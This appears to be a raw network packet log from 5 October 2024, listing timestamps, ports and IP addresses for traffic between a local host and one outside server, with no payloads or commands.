Oct 5, 2024 14:33:09.029019117 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.029021978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029041052 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029050112 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.029057980 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029073954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029090881 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029107094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029109955 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.029124022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029140949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029153109 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.029167891 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.029690027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029750109 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.029933929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029949903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029964924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029982090 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.029997110 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030006886 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.030016899 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030031919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030047894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030056953 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.030064106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030081034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030085087 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.030098915 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030114889 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030121088 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.030132055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030148029 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.030185938 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.030858040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030874014 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030889034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030905962 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030915976 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.030925035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030941963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030956984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030963898 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.030972958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.030988932 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031004906 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031013966 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.031022072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031038046 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031050920 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.031055927 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031073093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031092882 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.031122923 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.031766891 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031784058 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031805992 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031827927 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.031830072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031847954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031866074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031872988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.031883001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031900883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031915903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.031919956 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.031960964 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.031987906 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.053911924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.053971052 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054004908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054042101 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.054111958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054145098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054172039 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.054177999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054214954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054244995 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.054394007 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054426908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054445982 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.054461002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054496050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054517031 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.054771900 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054805994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054837942 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054837942 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.054872990 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054896116 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.054905891 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054938078 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054970026 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.054996967 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.055005074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055037975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055042028 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.055074930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055109978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.055432081 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055464983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055499077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055531025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055543900 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.055562973 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.055563927 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055598021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055622101 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.055632114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055665970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055679083 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.055700064 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055751085 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.055756092 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.056113958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.056147099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.056164980 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.056180954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.056216002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.056226969 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.056248903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.056283951 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.056297064 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.093350887 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093408108 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093441010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093446970 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.093498945 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.093512058 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093641996 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093674898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093810081 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093821049 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.093842983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093863964 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.093878031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093910933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.093939066 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.094151974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094186068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094203949 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.094219923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094253063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094269991 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.094288111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094321966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094337940 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.094356060 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094388962 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094403982 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.094425917 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094471931 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.094834089 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094885111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094918966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094934940 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.094953060 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.094986916 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095001936 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.095021963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095057964 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095081091 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.095108986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095143080 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095159054 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.095175028 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095208883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095223904 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.095242023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095276117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095285892 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.095793962 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095828056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095845938 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.095863104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095897913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095910072 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.095932007 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095964909 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.095979929 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.095999002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.096033096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.096045017 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.099669933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.099728107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.099739075 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.099766016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.099817038 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.099868059 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.099900961 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.099934101 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.099944115 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.099968910 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100017071 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.100158930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100193024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100225925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100236893 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.100258112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100297928 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100311041 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.100332022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100367069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100380898 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.100678921 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100712061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100730896 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.100744963 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100779057 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100794077 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.100814104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100847006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100861073 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.100879908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100914001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100928068 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.100949049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.100981951 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.101001024 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.101015091 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.101047993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.101068974 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.101080894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.101114988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.101130009 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.101193905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.101243973 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.101902008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.101936102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.101969957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.101986885 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.102003098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.102035999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.102050066 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.140310049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140402079 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140403032 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.140435934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140552998 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140585899 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140608072 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.140619993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140634060 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.140655994 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140690088 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140701056 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.140856981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140891075 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140908957 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.140928984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.140984058 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.141158104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141191006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141225100 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141242027 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.141259909 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141294003 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141314030 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.141329050 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141361952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141381025 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.141654015 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141686916 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141711950 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.141721010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141755104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141766071 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.141788960 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141819954 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141844988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.141854048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141886950 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141902924 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.141922951 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141954899 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.141968966 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.141988993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.142024040 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.142038107 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.142505884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.142563105 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.142573118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.142610073 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.142642975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.142658949 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.142678022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.142713070 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.142724991 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.179558039 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.179658890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.179680109 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.179737091 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.179807901 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.179871082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.179903984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.179939032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.179965019 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.179971933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180006981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180027008 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.180155039 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180186987 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180214882 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.180221081 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180255890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180269957 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.180289984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180335999 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.180533886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180562973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180596113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180609941 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.180633068 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180665970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180680037 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.180700064 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180733919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180747032 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.180773020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.180819035 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.181096077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181124926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181157112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181179047 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.181194067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.181226015 CEST	3752	49730	147.45.126.71	192.168.2.4
